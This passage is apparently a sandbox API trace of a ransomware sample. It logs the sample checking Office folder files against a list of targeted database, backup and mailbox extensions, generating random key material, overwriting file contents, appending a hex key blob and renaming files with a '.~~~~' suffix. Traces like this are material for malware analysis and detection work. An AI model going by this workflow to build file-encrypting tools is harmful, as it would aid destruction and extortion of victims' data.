	[0140.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.405] lstrlenW (lpString=".ndf") returned 4
	[0140.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".ndf") returned 0x0
	[0140.405] lstrlenW (lpString=".DB") returned 3
	[0140.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DB") returned 0x0
	[0140.406] lstrlenW (lpString=".sql") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".sql") returned 0x0
	[0140.406] lstrlenW (lpString=".MYD") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".MYD") returned 0x0
	[0140.406] lstrlenW (lpString=".DBT") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DBT") returned 0x0
	[0140.406] lstrlenW (lpString=".ACCDB") returned 6
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.406] lstrlenW (lpString=".fdb") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".fdb") returned 0x0
	[0140.406] lstrlenW (lpString=".bak") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".bak") returned 0x0
	[0140.406] lstrlenW (lpString=".myd") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".myd") returned 0x0
	[0140.406] lstrlenW (lpString=".DTXS") returned 5
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.406] lstrlenW (lpString=".ckp") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".ckp") returned 0x0
	[0140.406] lstrlenW (lpString=".dbt") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".dbt") returned 0x0
	[0140.406] lstrlenW (lpString=".db") returned 3
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".db") returned 0x0
	[0140.406] lstrlenW (lpString=".TXT") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".TXT") returned 0x0
	[0140.406] lstrlenW (lpString=".MDF") returned 4
	[0140.406] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".MDF") returned 0x0
	[0140.406] lstrlenW (lpString=".bdb") returned 4
	[0140.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".bdb") returned 0x0
	[0140.407] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.407] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.408] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.408] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.408] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.408] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26039823236) returned 1
	[0140.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd199350, dwHighDateTime=0x1d60e1e)) 
	[0140.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d458
	[0140.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d458 | out: hHeap=0x300000) returned 1
	[0140.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf1f0
	[0140.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0140.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0140.409] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.409] GetLastError () returned 0x0
	[0140.410] GetLastError () returned 0x0
	[0140.410] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.410] GetLastError () returned 0x0
	[0140.410] GetLastError () returned 0x0
	[0140.410] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0xd98, lpOverlapped=0x0) returned 1
	[0140.412] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffff268, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.412] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd98, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xd98, lpOverlapped=0x0) returned 1
	[0140.412] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.412] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.412] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.412] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.412] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.412] CloseHandle (hObject=0x108) returned 1
	[0140.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0140.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif.~~~~")) returned 1
	[0140.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0140.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.415] GetLastError () returned 0x0
	[0140.415] RtlWakeConditionVariable () returned 0x0
	[0140.415] GetCurrentThreadId () returned 0x3a4
	[0140.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".scr") returned 0x0
	[0140.415] lstrlenW (lpString=".cmd") returned 4
	[0140.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".cmd") returned 0x0
	[0140.415] lstrlenW (lpString=".dll") returned 4
	[0140.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dll") returned 0x0
	[0140.415] lstrlenW (lpString=".bat") returned 4
	[0140.415] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".bat") returned 0x0
	[0140.416] lstrlenW (lpString=".cpl") returned 4
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".cpl") returned 0x0
	[0140.416] lstrlenW (lpString=".sys") returned 4
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".sys") returned 0x0
	[0140.416] lstrlenW (lpString=".msc") returned 4
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".msc") returned 0x0
	[0140.416] lstrlenW (lpString=".com") returned 4
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".com") returned 0x0
	[0140.416] lstrlenW (lpString=".lnk") returned 4
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".lnk") returned 0x0
	[0140.416] lstrlenW (lpString=".msp") returned 4
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".msp") returned 0x0
	[0140.416] lstrlenW (lpString=".pif") returned 4
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".pif") returned 0x0
	[0140.416] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.416] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.418] lstrlenW (lpString=".sqb") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".sqb") returned 0x0
	[0140.418] lstrlenW (lpString=".ost") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".ost") returned 0x0
	[0140.418] lstrlenW (lpString=".txt") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".txt") returned 0x0
	[0140.418] lstrlenW (lpString=".mdt") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".mdt") returned 0x0
	[0140.418] lstrlenW (lpString=".BDB") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".BDB") returned 0x0
	[0140.418] lstrlenW (lpString=".eql") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".eql") returned 0x0
	[0140.418] lstrlenW (lpString=".DBF") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DBF") returned 0x0
	[0140.418] lstrlenW (lpString=".EQL") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".EQL") returned 0x0
	[0140.418] lstrlenW (lpString=".FDB") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".FDB") returned 0x0
	[0140.418] lstrlenW (lpString=".EDB") returned 4
	[0140.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".EDB") returned 0x0
	[0140.418] lstrlenW (lpString=".DACPAC") returned 7
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.419] lstrlenW (lpString=".VHD") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".VHD") returned 0x0
	[0140.419] lstrlenW (lpString=".DBV") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DBV") returned 0x0
	[0140.419] lstrlenW (lpString=".dacpac") returned 7
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.419] lstrlenW (lpString=".sdf") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".sdf") returned 0x0
	[0140.419] lstrlenW (lpString=".accdb") returned 6
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".accdb") returned 0x0
	[0140.419] lstrlenW (lpString=".DBX") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DBX") returned 0x0
	[0140.419] lstrlenW (lpString=".MDT") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".MDT") returned 0x0
	[0140.419] lstrlenW (lpString=".SQB") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".SQB") returned 0x0
	[0140.419] lstrlenW (lpString=".vhd") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".vhd") returned 0x0
	[0140.419] lstrlenW (lpString=".bac") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".bac") returned 0x0
	[0140.419] lstrlenW (lpString=".mdf") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".mdf") returned 0x0
	[0140.419] lstrlenW (lpString=".BAK") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".BAK") returned 0x0
	[0140.419] lstrlenW (lpString=".BAC") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".BAC") returned 0x0
	[0140.419] lstrlenW (lpString=".dbs") returned 4
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dbs") returned 0x0
	[0140.419] lstrlenW (lpString=".vhdx") returned 5
	[0140.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.420] lstrlenW (lpString=".NDF") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".NDF") returned 0x0
	[0140.420] lstrlenW (lpString=".dat") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dat") returned 0x0
	[0140.420] lstrlenW (lpString=".DBS") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DBS") returned 0x0
	[0140.420] lstrlenW (lpString=".CKP") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".CKP") returned 0x0
	[0140.420] lstrlenW (lpString=".edb") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".edb") returned 0x0
	[0140.420] lstrlenW (lpString=".PST") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".PST") returned 0x0
	[0140.420] lstrlenW (lpString=".dbf") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dbf") returned 0x0
	[0140.420] lstrlenW (lpString=".SQL") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".SQL") returned 0x0
	[0140.420] lstrlenW (lpString=".pst") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".pst") returned 0x0
	[0140.420] lstrlenW (lpString=".dbv") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dbv") returned 0x0
	[0140.420] lstrlenW (lpString=".SDF") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".SDF") returned 0x0
	[0140.420] lstrlenW (lpString=".dtxs") returned 5
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.420] lstrlenW (lpString=".db3") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".db3") returned 0x0
	[0140.420] lstrlenW (lpString=".OST") returned 4
	[0140.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".OST") returned 0x0
	[0140.420] lstrlenW (lpString=".dbx") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dbx") returned 0x0
	[0140.421] lstrlenW (lpString=".DB3") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DB3") returned 0x0
	[0140.421] lstrlenW (lpString=".DAT") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DAT") returned 0x0
	[0140.421] lstrlenW (lpString=".VHDX") returned 5
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.421] lstrlenW (lpString=".ndf") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".ndf") returned 0x0
	[0140.421] lstrlenW (lpString=".DB") returned 3
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DB") returned 0x0
	[0140.421] lstrlenW (lpString=".sql") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".sql") returned 0x0
	[0140.421] lstrlenW (lpString=".MYD") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".MYD") returned 0x0
	[0140.421] lstrlenW (lpString=".DBT") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DBT") returned 0x0
	[0140.421] lstrlenW (lpString=".ACCDB") returned 6
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.421] lstrlenW (lpString=".fdb") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".fdb") returned 0x0
	[0140.421] lstrlenW (lpString=".bak") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".bak") returned 0x0
	[0140.421] lstrlenW (lpString=".myd") returned 4
	[0140.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".myd") returned 0x0
	[0140.421] lstrlenW (lpString=".DTXS") returned 5
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.422] lstrlenW (lpString=".ckp") returned 4
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".ckp") returned 0x0
	[0140.422] lstrlenW (lpString=".dbt") returned 4
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".dbt") returned 0x0
	[0140.422] lstrlenW (lpString=".db") returned 3
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".db") returned 0x0
	[0140.422] lstrlenW (lpString=".TXT") returned 4
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".TXT") returned 0x0
	[0140.422] lstrlenW (lpString=".MDF") returned 4
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".MDF") returned 0x0
	[0140.422] lstrlenW (lpString=".bdb") returned 4
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".bdb") returned 0x0
	[0140.422] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.422] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
